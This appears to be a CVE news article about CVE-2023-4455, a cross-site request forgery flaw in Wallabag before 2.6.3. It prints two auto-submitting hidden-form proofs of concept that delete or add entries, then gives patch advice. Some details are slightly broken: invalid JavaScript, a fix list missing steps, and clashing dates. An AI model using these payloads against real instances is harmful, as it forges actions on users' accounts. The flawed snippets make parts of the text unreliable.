CVE CyberSecurity Database News

CVE-2023-4455 - How a CSRF Flaw in Wallabag Could Let Attackers Hijack Your Actions

Poster -

Wallabag is a popular, open-source web application to save web pages and read them later. But in September 2023, a security bug was discovered: CVE-2023-4455 - Cross-Site Request Forgery (CSRF) in GitHub repository wallabag/wallabag prior to 2.6.3. This flaw could let attackers trick users into performing actions they never intended. Let’s break down how this bug worked, show some sample exploit code, and help you stay safe.

What is a CSRF?

A Cross-Site Request Forgery (CSRF) happens when a malicious website tricks your browser into sending a request to another web app where you’re logged in (for example, Wallabag). Because your browser sends cookies with the request, the app thinks the request is coming from you!

The Bug in Wallabag

Vulnerability: In Wallabag versions before 2.6.3, many POST/GET requests lacked CSRF protection. That means they didn’t verify if the request was genuine, so attackers could forge requests from malicious sites.

Affected URLs

Any endpoint in Wallabag where important user actions happen—like adding, deleting, changing entries, or updating user settings—could be exploited.

Simple Example: Exploiting Wallabag’s CSRF

Imagine you’re logged in to your Wallabag account. You visit a website that secretly has this HTML code:

<form action="https://your.wallabag.site/entries/123/delete"; method="POST" style="display: none;">
  <input type="hidden" name="token" value="invalid-or-empty">
  <input type="submit">
</form>
<script>
  document.forms[].submit();
</script>

This “invisible” form automatically submits, sending a POST request to delete entry #123 in your Wallabag account. Since Wallabag wasn’t checking for a real CSRF token, it just went ahead and deleted the item.

Working Proof of Concept (PoC) CSRF Attack

Here’s a longer example: let’s say an attacker wants to add a spam article to your Wallabag. They could create a web page like this:

<html>
  <body>
    <form id="evilform"
      action="https://my.wallabag.site/entry/add";
      method="POST">
      <input type="hidden" name="url" value="http://malicious.example.com">;
      <input type="hidden" name="title" value="Gotcha!">
      <input type="submit">
    </form>
    <script>
      document.getElementById('evilform').submit();
    </script>
  </body>
</html>

All you’d have to do is visit this page while logged in to Wallabag. The attack works because Wallabag (pre-2.6.3) doesn’t double-check if the request is really from you.

Who Is At Risk?

Anyone running Wallabag before 2.6.3 is vulnerable. If your instance is on the public internet, anybody could try to trick you or your users with a simple spammy or malicious site, as long as you're logged in.

How Do You Fix It?

This flaw was patched in Wallabag 2.6.3, where proper CSRF protection was added to user actions. You should:

Make sure your installation uses HTTPS, not just HTTP.

3. Ask your users to log out/log in again after the update.

Where Can You Read More?

- Wallabag Security Advisory from Github
- CVE-2023-4455 on NVD (National Vulnerability Database)
- Wallabag Release 2.6.3 Changelog
- CSRF by OWASP (Simple Explanation)

Conclusion

CVE-2023-4455 showed us that even useful tools like Wallabag can become dangerous if CSRF protection is missing. The exploit is simple, the risk is real, and the fix is just a quick update away.

If you’re running Wallabag, update now to stay safe. And remember—always keep your apps patched!

Timeline

Published on: 08/21/2023 10:15:00 UTC
Last modified on: 08/24/2023 21:11:00 UTC